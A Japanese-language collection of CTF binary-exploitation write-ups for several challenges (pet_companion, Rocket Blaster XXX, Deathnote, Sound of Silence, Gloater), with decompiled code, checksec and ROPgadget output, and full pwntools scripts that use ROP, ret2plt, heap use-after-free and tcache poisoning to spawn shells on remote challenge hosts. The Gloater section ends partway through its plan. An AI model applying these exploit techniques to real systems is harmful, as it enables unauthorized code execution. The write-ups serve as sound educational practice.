binary_name = 'pet_companion'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '83.136.250.12 53784'.split()

gdb_script = '''
b *0x00000000004006df
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

got_addr_wirte = 0x600fd8
plt_addr_write = 0x4004f0
rop_pop_rdi = 0x0000000000400743
rop_pop_rsi_r15 = 0x0000000000400741
addr_main = 0x000000000040064a

payload = b'\x00' * 72
payload += p64(rop_pop_rsi_r15)
payload += p64(got_addr_wirte)
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(1)
payload += p64(plt_addr_write)
payload += p64(addr_main)

io.sendlineafter(b'current status: ', payload)
io.recvline()
io.recvline()
io.recvline()
addr_write = int.from_bytes(io.recvline()[:8], 'little')
libc_base = addr_write - 0x1100f0
loginfo(f'libc_base: {hex(libc_base)}')

plt_addr_read = 0x400500
addr_writable = 0x601000 + 0x200
rop_pop_rdx = libc_base + 0x0000000000001b96
addr_system = libc_base + 0x000000000004f420

payload = b'\x00' * 72
payload += p64(rop_pop_rdx)
payload += p64(0x100)
payload += p64(rop_pop_rsi_r15)
payload += p64(addr_writable)
payload += p64(0)
payload += p64(rop_pop_rdi)
payload += p64(0)
payload += p64(plt_addr_read)

payload += p64(rop_pop_rdi)
payload += p64(addr_writable)
payload += p64(addr_system)

io.sendlineafter(b'current status: ', payload)

io.sendline('/bin/sh')

interact()

Rocket Blaster XXX (easy)

Prepare for the ultimate showdown! Load your weapons, gear up for battle, and dive into the epic fray—let the fight commence!

セキュリティ機構

└─< spwn           
[*] Binary: rocket_blaster_xxx
[*] Libc:   libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file rocket_blaster_xxx
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec rocket_blaster_xxx
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'./glibc/'
Libc version: 2.35
[*] cwe_checker rocket_blaster_xxx (press Ctrl+C to stop)
[CWE119] (0.3) (Buffer Overflow) Call to read at 0040156e may access out-of-bounds memory.


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id c289da5071a3399de893d2af81d6a30c62646e1e from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id c289da5071a3399de893d2af81d6a30c62646e1e on any debuginfod server.
[!] Failed to unstrip libc

Ghidra でデコンパイルする.

undefined8 main(void)
{
    undefined8 local_28;
    undefined8 local_20;
    undefined8 local_18;
    undefined8 local_10;
    
    banner();
    local_28 = 0;
    local_20 = 0;
    local_18 = 0;
    local_10 = 0;
    fflush(stdout);
    printf(
        "\nPrepare for trouble and make it double, or triple..\n\nYou need to place the ammo in th e right place to load the Rocket Blaster XXX!\n\n>> "
        );
    fflush(stdout);
    read(0,&local_28,0x66);
    puts("\nPreparing beta testing..");
    return 0;
}

BOF があり,canary も存在しない.

また,呼び出されていない関数 fill_ammo が存在していて,引数がある値のときに FLAG が出力されるようになっている.

void fill_ammo(long param_1,long param_2,long param_3)
{
    ssize_t sVar1;
    char local_d;
    int local_c;
    
    local_c = open("./flag.txt",0);
    if (local_c < 0) {
        perror("\nError opening flag.txt, please contact an Administrator.\n");
                    /* WARNING: Subroutine does not return */
        exit(1);
    }
    if (param_1 != 0xdeadbeef) {
        printf("%s[x] [-] [-]\n\n%sPlacement 1: %sInvalid!\n\nAborting..\n",&DAT_00402010,
            &DAT_00402008,&DAT_00402010);
                    /* WARNING: Subroutine does not return */
        exit(1);
    }
    if (param_2 != 0xdeadbabe) {
        printf(&DAT_004020c0,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010);
                    /* WARNING: Subroutine does not return */
        exit(2);
    }
    if (param_3 != 0xdead1337) {
        printf(&DAT_00402100,&DAT_004020b6,&DAT_00402010,&DAT_00402008,&DAT_00402010);
                    /* WARNING: Subroutine does not return */
        exit(3);
    }
    printf(&DAT_00402140,&DAT_004020b6);
    fflush(stdin);
    fflush(stdout);
    while( true ) {
        sVar1 = read(local_c,&local_d,1);
        if (sVar1 < 1) break;
        fputc((int)local_d,stdout);
    }
    close(local_c);
    fflush(stdin);
    fflush(stdout);
    return;
}

ROP で引数を設定してこの関数に飛ぶ.

└─< ROPgadget --binary ./rocket_blaster_xxx --re "pop rdi"
Gadgets information
============================================================
0x000000000040159f : pop rdi ; ret

Unique gadgets found: 1

└─< ROPgadget --binary ./rocket_blaster_xxx --re "pop rsi"
Gadgets information
============================================================
0x000000000040159a : lcall [rdx - 0x3d] ; pop rsi ; ret
0x00000000004013ae : pop rsi ; or al, 0 ; add byte ptr [rax - 0x77], cl ; ret 0x8d48
0x000000000040159d : pop rsi ; ret

Unique gadgets found: 3

└─< ROPgadget --binary ./rocket_blaster_xxx --re "pop rdx"
Gadgets information
============================================================
0x000000000040159b : pop rdx ; ret

Unique gadgets found: 1

ただし,movaps 命令でスタックのアラインメントがずれているとエラーが出るので,ret だけの ROPgadget が必要になる.

from pwn import *

binary_name = 'rocket_blaster_xxx'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '83.136.254.199 46012'.split()

gdb_script = '''
b *0x0000000000401588
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

addr_fill_ammo = 0x00000000004012f5
rop_only_ret = 0x000000000040101a
rop_pop_rdi = 0x000000000040159f
rop_pop_rsi = 0x000000000040159d
rop_pop_rdx = 0x000000000040159b

payload = b'\x00' * 8 * 4
payload += p64(0x405000 + 0x200)
payload += p64(rop_only_ret)
payload += p64(rop_pop_rdx)
payload += p64(0xdead1337)
payload += p64(rop_pop_rsi)
payload += p64(0xdeadbabe)
payload += p64(rop_pop_rdi)
payload += p64(0xdeadbeef)
payload += p64(addr_fill_ammo)

sla(b'>> ', payload)

interact()

Deathnote (medium)

You stumble upon a mysterious and ancient tome, said to hold the secret to vanquishing your enemies. Legends speak of its magic powers, but cautionary tales warn of the dangers of misuse.

セキュリティ機構

└─< spwn
[*] Binary: deathnote
[*] Libc:   libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file deathnote
ELF 64-bit LSB pie executable
x86-64
dynamically linked
not stripped
[*] checksec deathnote
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled
RUNPATH:  b'./glibc/'
Libc version: 2.35
[*] cwe_checker deathnote (press Ctrl+C to stop)
[CWE190] (0.1) (Integer Overflow or Wraparound) Potential overflow due to multiplication before call to malloc at 001015eb


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id c289da5071a3399de893d2af81d6a30c62646e1e from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id c289da5071a3399de893d2af81d6a30c62646e1e on any debuginfod server.
[!] Failed to unstrip libc

実行すると以下のようなメニューが表示される.

-_-_-_-_-_-_-_-_-_-_-_
|                     |
|  01. Create  entry  |
|  02. Remove  entry  |
|  03. Show    entry  |
|  42. ¿?¿?¿?¿?¿?¿?   |
|_-_-_-_-_-_-_-_-_-_-_|

Ghidra でデコンパイル

/* WARNING: Removing unreachable block (ram,0x00101a4e) */
/* WARNING: Removing unreachable block (ram,0x00101a62) */
/* WARNING: Removing unreachable block (ram,0x00101a67) */
void main(void)
{
    ulong choice;
    long in_FS_OFFSET;
    undefined8 page0;
    undefined8 local_60;
    undefined8 local_58;
    undefined8 local_50;
    undefined8 local_48;
    undefined8 local_40;
    undefined8 local_38;
    undefined8 local_30;
    undefined8 local_28;
    undefined8 local_20;
    undefined8 local_10;
    
    local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
    page0 = 0;
    local_60 = 0;
    local_58 = 0;
    local_50 = 0;
    local_48 = 0;
    local_40 = 0;
    local_38 = 0;
    local_30 = 0;
    local_28 = 0;
    local_20 = 0;
LAB_00101a48:
    while (choice = menu(), choice == 0x2a) {
        _(&page0);
    }
    if (choice < 0x2b) {
        if (choice == 3) {
            show(&page0);
            goto LAB_00101a48;
        }
        if (choice < 4) {
            if (choice == 1) {
                add(&page0);
            }
            else {
                if (choice != 2) goto LAB_00101a38;
                delete(&page0);
            }
            goto LAB_00101a48;
        }
    }
LAB_00101a38:
    error("Invalid choice!\n");
    goto LAB_00101a48;
}

void add(long pages)
{
    long lVar1;
    byte page_index;
    char res;
    ushort size;
    void *page;
    long in_FS_OFFSET;
    
    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    get_empty_note(pages);
    printf(&DAT_00102658);
    size = read_num();
    if ((size < 2) || (0x80 < size)) {
        error("Don\'t play with me!\n");
    }
    else {
        printf(&DAT_0010268e);
        page_index = read_num();
        res = check_idx(page_index);
        if (res == '\x01') {
            page = malloc((ulong)size);
            *(void **)((ulong)page_index * 8 + pages) = page;
            printf(&DAT_0010269c);
            read(0,*(void **)(pages + (ulong)page_index * 8),(long)(int)(size - 1));
            printf("%s\n[!] The fate of the victim has been sealed!%s\n\n",&DAT_001026b4,
                &DAT_00102008);
        }
    }
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

void delete(long param_1)
{
    long lVar1;
    byte page_index;
    char res;
    long in_FS_OFFSET;
    
    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    printf(&DAT_0010268e);
    page_index = read_num();
    res = check_idx(page_index);
    if (res == '\x01') {
        if (*(long *)(param_1 + (ulong)page_index * 8) == 0) {
            error("Page is already empty!\n");
        }
        else {
            printf("%s\nRemoving page [%d]\n\n%s",&DAT_0010272e,(ulong)page_index,&DAT_00102008);
        }
        free(*(void **)(param_1 + (ulong)page_index * 8));
    }
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

void show(long param_1)
{
    long lVar1;
    byte page_index;
    char res;
    long in_FS_OFFSET;
    
    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    printf(&DAT_0010268e);
    page_index = read_num();
    res = check_idx(page_index);
    if (res == '\x01') {
        if (*(long *)(param_1 + (ulong)page_index * 8) == 0) {
            error("Page is empty!\n");
        }
        else {
            printf("\nPage content: %s\n",*(undefined8 *)(param_1 + (ulong)page_index * 8));
        }
    }
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}

void _(char **param_1)
{
    long lVar1;
    code *pcVar2;
    long in_FS_OFFSET;
    
    lVar1 = *(long *)(in_FS_OFFSET + 0x28);
    puts("\x1b[1;33m");
    cls();
    printf(&DAT_00102750,&DAT_00102010,&DAT_001026b4,&DAT_00102010,&DAT_001026b4,&DAT_00102008);
    pcVar2 = (code *)strtoull(*param_1,(char **)0x0,0x10);
    if (((pcVar2 == (code *)0x0) && (**param_1 != '0')) && ((*param_1)[1] != 'x')) {
        puts("Error: Invalid hexadecimal string");
    }
    else {
        if ((*param_1 == (char *)0x0) || (param_1[1] == (char *)0x0)) {
            error("What you are trying to do is unacceptable!\n");
                    /* WARNING: Subroutine does not return */
            exit(0x520);
        }
        puts(&DAT_00102848);
        (*pcVar2)(param_1[1]);
    }
    if (lVar1 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
    }
    return;
}
  • 基本的には作成,削除,表示ができるヒープ問
  • 42 を選択すると関数 _ が呼び出される
  • この関数では先頭 (index が 0) のページに書き込んだアドレス ("0x" から始まる 16 進数表記) の関数を index が 1 のページの内容を引数にして呼び出される.

delete 関数で free した際にポインタを削除していないので,RAF が可能.

方針としては

  • サイズが 0x90 のチャンクを確保できるので,tcache をいっぱいにして unsortedbin につなげて RAF で libc のアドレスをリークする.
  • _ 関数を使って system を呼び出す.
from pwn import *

binary_name = 'deathnote'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '94.237.49.197 41067'.split()

gdb_script = '''
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

def add(idx, size, data):
    sla('💀 '.encode(), b'1')
    sla('💀 '.encode(), str(size).encode())
    sla('💀 '.encode(), str(idx).encode())
    sla('💀 '.encode(), data)

def delete(idx):
    sla('💀 '.encode(), b'2')
    sla('💀 '.encode(), str(idx).encode())

def show(idx):
    sla('💀 '.encode(), b'3')
    sla('💀 '.encode(), str(idx).encode())
    ru(b'Page content: ')
    return rl()[:-1]

for i in range(9):
    add(i, 0x80, b'huga')
for i in range(8):
    delete(i)
leaked_addr = int.from_bytes(show(7), 'little')
libc_base = leaked_addr - 0x21ace0
loginfo(f'libc_base: {hex(libc_base)}')

addr_system = libc_base + 0x0000000000050d70
add(0, 0x20, hex(addr_system).encode())
add(1, 0x20, b'/bin/sh')

sla('💀 '.encode(), b'42')

interact()

Sound of Silence (medium)

Navigate the shadows in a dimly lit room, silently evading detection as you strategize to outsmart your foes. Employ clever distractions to divert their attention, paving the way for your daring escape!

セキュリティ機構

[*] Binary: sound_of_silence
[*] Libc:   libc.so.6
[*] Loader: ld-linux-x86-64.so.2

[*] file sound_of_silence
ELF 64-bit LSB executable
x86-64
dynamically linked
not stripped
[*] checksec sound_of_silence
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
RUNPATH:  b'./glibc/'
Libc version: 2.35
[!] There are some dangerous functions:
system gets
[*] cwe_checker sound_of_silence (press Ctrl+C to stop)
[CWE676] (0.1) (Use of Potentially Dangerous Function) main (0040117d) -> gets


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id a43bfc8428df6623cd498c9c0caeb91aec9be4f9 from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id a43bfc8428df6623cd498c9c0caeb91aec9be4f9 on any debuginfod server.
[!] Failed to unstrip libc

Ghidra でデコンパイル.

void main(void)
{
    char local_28 [32];
    
    system("clear && echo -n \'~The Sound of Silence is mesmerising~\n\n>> \'");
    gets(local_28);
    return;
}

BOF ができて,canary も無いし,実行ファイルのアドレスもわかっている.

alpine 環境でのエクスプロイト.

ROP ができるほどの gadget は含まれていない.
gets を呼び出して /bin/ash の文字列を第一引数の rdi に格納し,BOF を使って ret2plt で system を呼び出すと system("/bin/ash") が実行されると思ったけど,main 関数の終了直後の rdi は以下のようにスタックではない部分を指している.

*RDI  0x7424af81ba80 ◂— 0x0

pwndbg> vmmap 0x7424af81ba80
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
             Start                End Perm     Size Offset File
    0x7424af81b000     0x7424af828000 rw-p     d000      0 [anon_7424af81b] +0xa80

そのため,ret2plt で gets を呼び出して system を呼び出す手法をとると,sysytem を呼び出す直前まで進むと

RDI  0x7424af81ba80 ◂— '/bin.ash'

のように /. に変わってしまう.

ASCII 文字コードを調べると 1 減っていることがわかる.

>>> ord('/')
47
>>> ord('.')
46

よって渡す文字列を '/bin0ash' としてみると '/bin/ash' に変換される.

from pwn import *

binary_name = 'sound_of_silence'
exe = ELF(binary_name, checksec=True)
libc = ELF('libc.so.6', checksec=False)
context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
context.gdbinit = '~/work/notes/others/files/gdbinit_pwndbg'

conv        = lambda *x: tuple(map(lambda y: y.encode() if isinstance(y, str) else y, x))
rc          = lambda *x, **y: io.recv(*conv(*x), **y)
ru          = lambda *x, **y: io.recvuntil(*conv(*x), **y)
rl          = lambda *x, **y: io.recvline(*conv(*x), **y)
rrp         = lambda *x, **y: io.recvrepeat(*conv(*x), **y)
ral         = lambda *x, **y: io.recvall(*conv(*x), **y)
sn          = lambda *x, **y: io.send(*conv(*x), **y)
sl          = lambda *x, **y: io.sendline(*conv(*x), **y)
sa          = lambda *x, **y: io.sendafter(*conv(*x), **y)
sla         = lambda *x, **y: io.sendlineafter(*conv(*x), **y)
gdbattach   = lambda *x, **y: gdb.attach(io, *x, **y)
loginfo     = lambda *x, **y: log.info(' '.join(x), **y)
interact    = lambda *x, **y: io.interactive(*x, **y)

HOST_NAME, PORT = '94.237.63.46 51811'.split()

gdb_script = '''
c
'''
if args.REMOTE:
    io = remote(HOST_NAME, PORT)
elif args.LOCAL:
    io = remote('localhost', PORT)
elif args.GDB:
    io = gdb.debug(f'debug_dir/{binary_name}', gdb_script, aslr=False)
else:
    io = process(f'debug_dir/{binary_name}')

plt_system = 0x401050
plt_gets = 0x401060

payload = b'\x00' * 8 * 4
payload += p64(1)
payload += p64(plt_gets)
payload += p64(plt_system)

sl(payload)

sl(b'/bin0ash')

interact()

Gloater (insane)

One thing that the overlords at KORP™ know best is the sheer sadistic value of taunting opponents. Throughout The Fray, onlookers can eagerly taunt and deride the contestants, pushing them mentally and breaking their will. By the end of the psychological torture, little of what was once human remains. You have come across a Gloater, one of the devices left around the Arena of The Fray. Gloaters allow you to send sardonic messages to the others, even taking on the shapes of their loved ones as the words cut deep into their psyche. But there's another well-known effect of such a weapon - the user of the Gloater puts a target on his back, as contestants from all factions swear to destroy the one who uses it.

セキュリティ機構

└─< spwn
[*] Binary: gloater
[*] Libc:   libc-2.31.so
[!] No loader

[*] file gloater
ELF 64-bit LSB pie executable
x86-64
dynamically linked
not stripped
[*] checksec gloater
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      PIE enabled
Libc version: 2.31
[*] cwe_checker gloater (press Ctrl+C to stop)
[CWE125] (0.3) (Out-of-bounds Read) Memory read at 0010142a may be out of bounds
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00101509 (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 001015dd (malloc).
[CWE476] (0.3) (NULL Pointer Dereference) There is no check if the return value is NULL at 00101920 (malloc).
[CWE676] (0.1) (Use of Potentially Dangerous Function) change_user (001014bf) -> strncpy
[CWE676] (0.1) (Use of Potentially Dangerous Function) create_taunt (00101523) -> memset
[CWE676] (0.1) (Use of Potentially Dangerous Function) create_taunt (001015a3) -> memset
[CWE676] (0.1) (Use of Potentially Dangerous Function) create_taunt (001015fe) -> memset
[CWE676] (0.1) (Use of Potentially Dangerous Function) create_taunt (0010161e) -> memcpy


[+] Trying to unstrip libc
[!] Could not fetch libc debuginfo for build_id eebe5d5f4b608b8a53ec446b63981bba373ca0ca from https://debuginfod.systemtap.org/
[!] Couldn't find debug info for libc with build_id eebe5d5f4b608b8a53ec446b63981bba373ca0ca on any debuginfod server.
[!] Failed to unstrip libc
[+] Downloading loader
[+] Extracting loader

Ghidra でデコンパイル.

void main(void)
{
    undefined4 choice;
    undefined auStack_98 [136];
    code *puts_func;
    
    setup();
    puts_func = puts;
    libc_start = 0x92e50;
    libc_end = 0x268e50;
    printf("Enter User\nDo not make a mistake, or there will be no safeguard!\n> ");
    read(0,user,0x10);
    choice = 0;
    do {
        printf(
            "1) Update current user\n2) Create new taunt\n3) Remove taunt\n4) Send all taunts\n5) Set Super Taunt\n6) Exit\n> "
            );
        __isoc99_scanf(&DAT_001020bc,&choice);
        switch(choice) {
        default:
                    /* WARNING: Subroutine does not return */
            exit(0);
        case 1:
            change_user();
            break;
        case 2:
            create_taunt();
            break;
        case 3:
            remove_taunt();
            break;
        case 4:
            send_taunts();
            break;
        case 5:
            set_super_taunt(auStack_98);
        }
    } while( true );
}

/* WARNING: Globals starting with '_' overlap smaller symbols at the same address */
void change_user(void)
{
    ssize_t len_user;
    char new_user [20];
    int len_user_;
    int i;
    int no_space;
    
    if (user_changed != 0) {
        puts("You have already changed the User. There is only one life.");
                    /* WARNING: Subroutine does not return */
        exit(0);
    }
    puts("Setting the User is a safeguard against getting destroyed");
    printf("New User: ",user);
    len_user = read(0,new_user,0x10);
    len_user_ = (int)len_user;
    no_space = 1;
    i = 0;
    do {
        if (0xf < i) {
LAB_00101446:
            printf("Old User was %s...\n",user);
            if (no_space != 0) {
                user._0_8_ = 0x4620524559414c50;
                user._8_8_ = 0x20454854204d4f52;
                super_taunt_plague = 0x4c4e4f4954434146;
                _DAT_00104118 = 0x20535345;
                DAT_0010411c = 0;
                strncpy(&DAT_0010411c,new_user,(long)len_user_);
            }
            puts("Updated");
            user_changed = 1;
            return;
        }
        if (new_user[i] == ' ') {
            no_space = 0;
            goto LAB_00101446;
        }
        i = i + 1;
    } while( true );
}

void create_taunt(void)
{
    int is_not_yourself;
    ssize_t taunt_len;
    void *taunt_heap;
    long taunt_count_;
    undefined taunt_stack [1028];
    int taunt_len_;
    char *taunt_target;
    
    if (taunt_count < 8) {
        taunt_target = (char *)malloc(0x28);
        memset(taunt_target,0,0x28);
        printf("Taunt target: ");
        read(0,taunt_target,0x1f);
        is_not_yourself = strcmp(taunt_target,user);
        if (is_not_yourself == 0) {
            puts("DANGER: You entered yourself");
            puts("Bet you\'re glad you paid attention initially, eh?");
            puts("Next time, you won\'t be so lucky.");
        }
        else {
            memset(taunt_stack,0,0x400);
            printf("Taunt: ");
            taunt_len = read(0,taunt_stack,0x3ff);
            taunt_len_ = (int)taunt_len;
            taunt_heap = malloc((long)taunt_len_);
            *(void **)(taunt_target + 0x20) = taunt_heap;
            memset(taunt_target,0,0x10);
            memcpy(*(void **)(taunt_target + 0x20),taunt_stack,(long)taunt_len_);
            taunt_count_ = (long)taunt_count;
            taunt_count = taunt_count + 1;
            *(char **)(taunts + taunt_count_ * 8) = taunt_target;
        }
    }
    else {
        puts("Cannot taunt more. You must risk it again.");
    }
    return;
}

void remove_taunt(void)
{
    int index;
    void *target_taunt;
    
    printf("Index: ");
    __isoc99_scanf(&DAT_001020bc,&index);
    if ((index < 0) || (taunt_count <= index)) {
        puts("Invalid Index");
    }
    else if (*(long *)(taunts + (long)index * 8) == 0) {
        puts("Taunt already removed");
    }
    else {
        target_taunt = *(void **)(taunts + (long)index * 8);
        free(*(void **)((long)target_taunt + 0x20));
        free(target_taunt);
        *(undefined8 *)(taunts + (long)index * 8) = 0;
        puts("Taunt removed");
    }
    return;
}

void send_taunts(void)
{
    int i;
    
    puts("Taunting...");
    for (i = 0; i < taunt_count; i = i + 1) {
        free(*(void **)(*(long *)(taunts + (long)i * 8) + 0x20));
        free(*(void **)(taunts + (long)i * 8));
        *(undefined8 *)(taunts + (long)i * 8) = 0;
    }
                    /* WARNING: Subroutine does not return */
    exit(0);
}

void set_super_taunt(void *param_1)
{
    ssize_t sVar1;
    int index;
    undefined4 local_c;
    
    if (super_taunt_set == 0) {
        printf("Index for Super Taunt: ");
        __isoc99_scanf(&DAT_001020bc,&index);
        if ((index < 0) || (taunt_count <= index)) {
            puts("Error: Invalid Index");
        }
        else if (*(long *)(taunts + (long)index * 8) == 0) {
            puts("Taunt was removed...");
        }
        else {
            super_taunt = *(undefined8 *)(taunts + (long)index * 8);
            printf("Plague to accompany the super taunt: ");
            sVar1 = read(0,param_1,0x88);
            local_c = (undefined4)sVar1;
            printf("Plague entered: %s\n",param_1);
            super_taunt_plague = param_1;
            puts("Registered");
            super_taunt_set = 1;
        }
    }
    else {
        puts("Super Taunt already set.");
    }
    return;
}

脆弱性は二箇所存在する.

一つ目は change_user 関数で

strncpy(&DAT_0010411c,new_user,(long)len_user_);

とあるが,new_user には 0x10 バイト入力できて,DAT_0010411c は 4 バイトしかないので BOF が可能.
この DAT_0010411c の直後には taunts がある.
よって,taunts の先頭に格納されている taunt のアドレスを改ざんできる.

二つ目は set_super_taunt 関数で,この関数は引数に main 関数のスタックのアドレスを受取り,そこに 0x88 文字入力できる.
ただし,このスタックの領域は 0x88 ちょうどしか確保されていないので,0x88 文字入力するとその直後の puts 関数のアドレスがリークできる.

任意アドレスからのチャンク確保を行いたいが,ヒープのベースアドレスを知らないので制限がある.

確保した領域の内容をあとから書き換えることができないので,Partial Overwrite で偽のチャンクを tcache につなげて確保する際に tcache poisoning する.
まず,以下のように三つの taunt を作成する.

                ┌───────────┐
taunts[0] ────> │           │ ──┐
                └───────────┘   │
                ┌───────────┐ <─┘
                │A          │
                │           │
                │           │
                └───────────┘
                ┌───────────┐
taunts[1] ────> │           │ ──┐
                └───────────┘   │
                ┌───────────┐ <─┘
                │B          │
                │           │
                │           │
                │           │
                │           │
                │           │
                │           │
                └───────────┘
                ┌───────────┐
taunts[2] ────> │           │ ──┐
                └───────────┘   │
                ┌───────────┐ <─┘  ^
                │C          │      |
                │           │     0xf0
                │           │      |
                └───────────┘      v

ただし,B は十分に大きなチャンク,C はチャンクのサイズが 0xf0 となるように確保する.

このとき,B の中に偽のチャンク D を作成する.

             ┌───────────┐
             │B          │
             │           │
    ┌──────  ├─────┬─────┤  ^
    │        │     │ 0xf1│  │
    │        ├─────┴─────┤  │
Fake Chunk D │           │ 0xf0
    │        │           │  │
    │        │           │  │
    └──────  ├───────────┤  v
             │           │
             └───────────┘

次に,taunts[1]taunts[2]taunt_target, taunt_heap を解放して,サイズ 0xf0 に対応する tcache に C をつなげる.

tcache -> C

ここで一つ目の脆弱性を使って taunts[0] に入っているアドレスを Partial Overwrite し,少し後方のチャンク D のアドレスに書き換える.

                ┌───────────┐
taunts[0] ─┐    │           │ ──┐
taunts[1]  │    └───────────┘   │
taunts[2]  │    ┌───────────┐ <─┘
           │    │A          │
           │    │           │
           │    │           │
           │    └───────────┘
           │    ┌───────────┐
           │    │           │
           │    └───────────┘
           │    ┌───────────┐
           │    │B          │
           │    │           │
           │    ├───────────┤  ^
           └──> │D          │  |
                │           │ 0xf0
                │           │  |
                ├───────────┤  v
                │           │
                │           │
                └───────────┘
                ┌───────────┐
                │           │ 
                └───────────┘
                ┌───────────┐  ^
                │C          │  |
                │           │ 0xf0
                │           │  |
                └───────────┘  v

この状態で taunts[0]taunt_target, taunt_heap を解放すると,taunt_target はチャンク D なので,サイズ 0xf0 の tcache につながれるので,

tcache -> D -> C

となる.

これで,チャンク B を確保すると tcache につながれているチャンク D を自由に書き換えられるので,D の next を C ではなく,任意のアドレスに書き換えられる.

setup 関数で hook が使えないようになっているので,FSOP する.

└─< readelf -s -W ./libc-2.31.so | grep "IO_2_1_stderr"
1427: 00000000001ed5c0   224 OBJECT  GLOBAL DEFAULT   34 _IO_2_1_stderr_@@GLIBC_2.2.5

└─< readelf -s -W ./libc-2.31.so | grep " system"      
1430: 0000000000052290    45 FUNC    WEAK   DEFAULT   15 system@@GLIBC_2.2.5

